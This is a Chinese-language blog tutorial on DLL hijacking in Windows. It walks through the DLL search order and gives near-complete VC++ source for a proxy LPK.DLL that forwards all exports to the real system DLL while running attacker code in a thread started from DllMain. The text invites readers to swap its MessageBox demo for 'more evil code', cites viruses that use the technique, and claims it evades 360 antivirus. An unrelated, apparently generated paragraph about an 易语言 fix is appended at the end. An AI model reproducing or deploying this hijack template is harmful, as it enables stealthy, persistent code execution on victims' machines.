dll劫持技术

说起DLL劫持技术,相信大家都不会陌生,因为这种技术的应用比较广泛,比如木马后门的 启动、破解程序的内存补丁、外挂插件的注入以及加密狗的模拟等。之所以DLL劫持技术深受黑客们的喜爱,主要是因为该技术可以有效的躲过大部分杀软,并且实现起来技术难度不大。DLL劫持技术也不是什么新技术,记得在《Windows核心编程》中也有提及相关技术。可是对我们广大初学者来说,DLL劫持技术就显得很神秘了,本系列教程将向大家详细讲解什么是DLL劫持、DLL劫持的形成原因及原理、最后还会以实例向大家讲解如何通过编程实现DLL劫持。

 

背景知识

首先我们要了解Windows为什么可以DLL劫持呢?主要是因为Windows的资源共享机制。为了尽可能多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在Windows的 系统目录中,如kernel32.dll,这样能够方便找到。但是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这 样会使一些其他的应用程序无法正确执行,因此,微软改变了策略,建议应用程序将所有文件放到自己的目录中去,而不要去碰系统目录下的任何东西。
为了提供这样的功能,在Window2000开始,微软加了一个特性,强制操作系统的加载程序首先从应用程序目录中加载模块,只有当加载程序无法在应用程序目录中找到文件,才搜索其他目录。利用系统的这个特性,就可以使应用程序强制加载我们指定的DLL做一些特殊的工作。
举个例子来说吧,Windows的系统目录下有一个名为LPK.DLL的系统文件,程序运行时会在c:\Windows\system32文件夹下找到这个DLL文件并加载它。如打开记事本程序,用进程管理工具可以显示记事本进程加载的所有模块。

例如,c:\Windows\system32\LPK.DLL是记事本加载的DLL之一。

 

 

什么是DLL劫持

根据前面说的Windows资 源共享机制,操作系统加载程序首先从应用程序目录中加载模块。

这一特性在注册表中也有体现:HKLM\System\CurrentControlSet \Control\Session Manager\SafeDllSearchMode,

如果为1,搜索的顺序为:应用程序所在目录->系统目录(用 GetSystemDirectory获取)->16位系统目录->Windows目 录(用GetWindowsDirectory获取)->运行程序的当前目录->PATH环境变量,

如果为0,搜索顺序为:应用程序所在目录 ->运行程序的当前目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->PATH环境变量。

Windows Server 2003默认值为1,Windows XP/2000默认值为0或者没有这个键值。

但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的DLL。如 果这个DLL和系统目录下的某个DLL同名,导出表也相同,功能就是加载系统目录下的那个DLL,并且将导出表转发到那个真实的DLL。这时DLL劫持就 发生了。可以看出,构造一个符合上面要求的DLL,再将其放在可执行文件的目录即可轻松实现DLL劫持了。


这一步我们的工作就是通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL。可以看出我们要实现的这个DLL需求如下:
1、构造一个与系统目录下LPK.DLL一样的导出表;
2、加载系统目录下的LPK.DLL;
3、将导出函数转发到系统目录下的LPK.DLL上;
4、在初始化函数中加入我们要执行的代码。
我们使用VC++来进行开发,首先是定义导出函数。核心代码如下:

[cpp]  view plain copy
  1. #pragma comment(linker, "/EXPORT:LpkInitialize=_gamehacker_LpkInitialize,@1")  
  2. #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_gamehacker_LpkTabbedTextOut,@2")  
  3. #pragma comment(linker, "/EXPORT:LpkDllInitialize=_gamehacker_LpkDllInitialize,@3")  
  4. #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_gamehacker_LpkDrawTextEx,@4")  
  5. #pragma comment(linker, "/EXPORT:LpkExtTextOut=_gamehacker_LpkExtTextOut,@6")  
  6. #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_gamehacker_LpkGetCharacterPlacement,@7")  
  7. #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_gamehacker_LpkGetTextExtentExPoint,@8")  
  8. #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_gamehacker_LpkPSMTextOut,@9")  
  9. #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_gamehacker_LpkUseGDIWidthCache,@10")  
  10. #pragma comment(linker, "/EXPORT:ftsWordBreak=_gamehacker_ftsWordBreak,@11")  


以上是导出表中的函数,LPK.DLL比较特殊,在导入表中有一项不是函数是数据,因此数据这部分要单独处理。核心代码如下:


[cpp]  view plain copy
  1. EXTERNC void __cdecl gamehacker_LpkEditControl(void);  
  2. EXTERNC __declspec(dllexportvoid (*LpkEditControl[14])() = {gamehacker_LpkEditControl};  

LpkEditControl这个数组有14个成员,如上定义即可,后面我们还需要将真正的数据复制过来。
加载系统目录下的LPK.DLL。核心代码如下:

[cpp]  view plain copy
  1. inline BOOL WINAPI Load()  
  2. {  
  3. TCHAR tzPath[MAX_PATH];  
  4. TCHAR tzTemp[MAX_PATH * 2];  
  5.   
  6. GetSystemDirectory(tzPath, MAX_PATH);  
  7. lstrcat(tzPath, TEXT("\\lpk"));  
  8. m_hModule=LoadLibrary(tzPath);  
  9. return (m_hModule != NULL);  
  10. }  

在代码中可以看到,使用LoadLibrary方式加载系统目录下的LPK.DLL。加载完成后就要实现导出函数的转发了,这步是很关键的。
首先要获得原函数地址。核心代码如下:

[cpp]  view plain copy
  1. FARPROC WINAPI GetAddress(PCSTR pszProcName)  
  2. {  
  3. FARPROC fpAddress;  
  4. CHAR szProcName[16];  
  5. TCHAR tzTemp[MAX_PATH];  
  6.   
  7. fpAddress = GetProcAddress(m_hModule, pszProcName);  
  8. return fpAddress;  
  9. }  

然后将我们构造的导出函数一一转发。核心代码如下:

[cpp]  view plain copy
  1. ALCDECL gamehacker_LpkInitialize(void)  
  2. {  
  3. GetAddress("LpkInitialize");  
  4. __asm JMP EAX;  
  5. }  
  6.   
  7. ALCDECL gamehacker_LpkTabbedTextOut(void)  
  8. {  
  9. GetAddress("LpkTabbedTextOut");  
  10. __asm JMP EAX;  
  11. }  
  12.   
  13. ALCDECL gamehacker_LpkDllInitialize(void)  
  14. {  
  15. GetAddress("LpkDllInitialize");  
  16. __asm JMP EAX;  
  17. }  
  18.   
  19. ALCDECL gamehacker_LpkDrawTextEx(void)  
  20. {  
  21. GetAddress("LpkDrawTextEx");  
  22. __asm JMP EAX;  
  23. }  
  24.   
  25. ALCDECL gamehacker_LpkEditControl(void)  
  26. {  
  27. GetAddress("LpkEditControl");  
  28. __asm jmp DWORD ptr [EAX];  
  29. }  
  30.   
  31. ALCDECL gamehacker_LpkExtTextOut(void)  
  32. {  
  33. GetAddress("LpkExtTextOut");  
  34. __asm JMP EAX;  
  35. }  
  36.   
  37. ALCDECL gamehacker_LpkGetCharacterPlacement(void)  
  38. {  
  39. GetAddress("LpkGetCharacterPlacement");  
  40. __asm JMP EAX;  
  41. }  
  42.   
  43. ALCDECL gamehacker_LpkGetTextExtentExPoint(void)  
  44. {  
  45. GetAddress("LpkGetTextExtentExPoint");  
  46. __asm JMP EAX;  
  47. }  
  48.   
  49. ALCDECL gamehacker_LpkPSMTextOut(void)  
  50. {  
  51. GetAddress("LpkPSMTextOut");  
  52. __asm JMP EAX;  
  53. }  
  54.   
  55. ALCDECL gamehacker_LpkUseGDIWidthCache(void)  
  56. {  
  57. GetAddress("LpkUseGDIWidthCache");  
  58. __asm JMP EAX;  
  59. }  
  60.   
  61. ALCDECL gamehacker_ftsWordBreak(void)  
  62. {  
  63. GetAddress("ftsWordBreak");  
  64. __asm JMP EAX;  
  65. }  

转发完之后不要忘记LpkEditControl哦,要将真实数据复制过来。核心代码如下:

[cpp]  view plain copy
  1. memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);  

好了,到这里整个DLL劫持基本就算完成了,也许你要问,那我们要执行的代码写在哪里?我的方法是将其写到初始化函数中。这样当DLL被加载的时候就会执行。下面看一下DLL的入口函数吧。

[cpp]  view plain copy
  1. BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)  
  2. {  
  3. if (dwReason == DLL_PROCESS_ATTACH)  
  4. {  
  5. DisableThreadLibraryCalls(hModule);  
  6. if(Load())  
  7. {  
  8. memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);  
  9. _beginthread(Init,NULL,NULL);  
  10. }  
  11. else  
  12. return FALSE;  
  13. }  
  14. else if (dwReason == DLL_PROCESS_DETACH)  
  15. {  
  16. Free();  
  17. }  
  18. return TRUE;  
  19. }  

在这个函数中我们看到,当加载系统目录下的LPK.DLL成功后,进行了LpkEditControl数组的复制,并通过_beginthread(Init,NULL,NULL);定义了初始化函数Init,而这个初始化函数是由我们控制的。
下面在初始化函数Init中写入测试代码如下:

[cpp]  view plain copy
  1. void WINAPIV Init(LPVOID pParam);  
  2. void WINAPIV Init(LPVOID pParam)  
  3. {  
  4. TCHAR tzPath[MAX_PATH];  
  5. TCHAR tzTemp[MAX_PATH * 2];  
  6. wsprintf(tzTemp, TEXT("劫持函数运行了......."), tzPath);  
  7. MessageBox(NULL, tzTemp, TEXT("gamehacker"), MB_ICONSTOP);  
  8. return;  
  9. }  

我们用弹出一个对话框来检测一下劫持的效果,当然你也可以加入更加邪恶的代码。猫癣、犇牛等病毒都是利用DLL劫持技术破坏系统的。
看一下效果。将编译好的LPK.DLL复制到记事本相同目录,然后运行记事本程序。看看是不是弹出来可爱的测试窗?
当然你也可以将这个LPK.DLL复制到任何程序的目录,只要该目录的程序一运行,就会执行我们的代码。如果代码的功能是连续弹出N个测试窗,我想一定会让人很崩溃。
DLL劫持技术的基本原理和简单实现就讲到这里了。在测试的时候发现360安全卫士并没有拦截我们的代码,看来利用DLL劫持是可以过360检测的。

 

原文地址:http://www.xiajc.com/article/html/344.html

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
易语言是一种简单易学的编程语言,可以用来编写Windows下的应用程序。在编写dll劫持补丁时,可以使用易语言来实现。 首先,dll劫持是指通过修改被劫持的进程加载的dll路径或名称,使其加载恶意的dll文件。编写dll劫持补丁实际上是为了修复这个漏洞,使被劫持的进程加载正确的dll文件。 在易语言中,可以使用WinAPI函数来完成这个任务。首先,需要用到的函数有以下几个:LoadLibrary函数,用于加载dll文件;GetModuleFileName函数,用于获取正在运行的进程模块的文件名;GetWindowsDirectory函数,用于获取Windows目录;GetProcAddress函数,用于获取函数地址;SetWindowText函数,用于设置窗口文本。 具体的步骤如下: 1. 使用GetModuleFileName函数获取当前运行的进程的文件名; 2. 使用GetWindowsDirectory函数获取Windows目录; 3. 使用SetWindowText函数设置窗口文本,提示正在修复dll劫持; 4. 使用LoadLibrary函数加载正确的dll文件; 5. 使用GetProcAddress函数获取正确的函数地址; 6. 修改被劫持的函数指针为正确的地址; 7. 修复完成后,使用SetWindowText函数恢复窗口文本。 以上就是使用易语言编写dll劫持补丁的基本思路和步骤。需要注意的是,这只是一种简单的办法,不能解决所有的dll劫持问题,对于复杂的劫持行为可能需要使用其他更底层的编程语言和技术进行修复。同时,在使用这种修复方法时,也要遵循法律法规,确保程序的合法性和正当性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值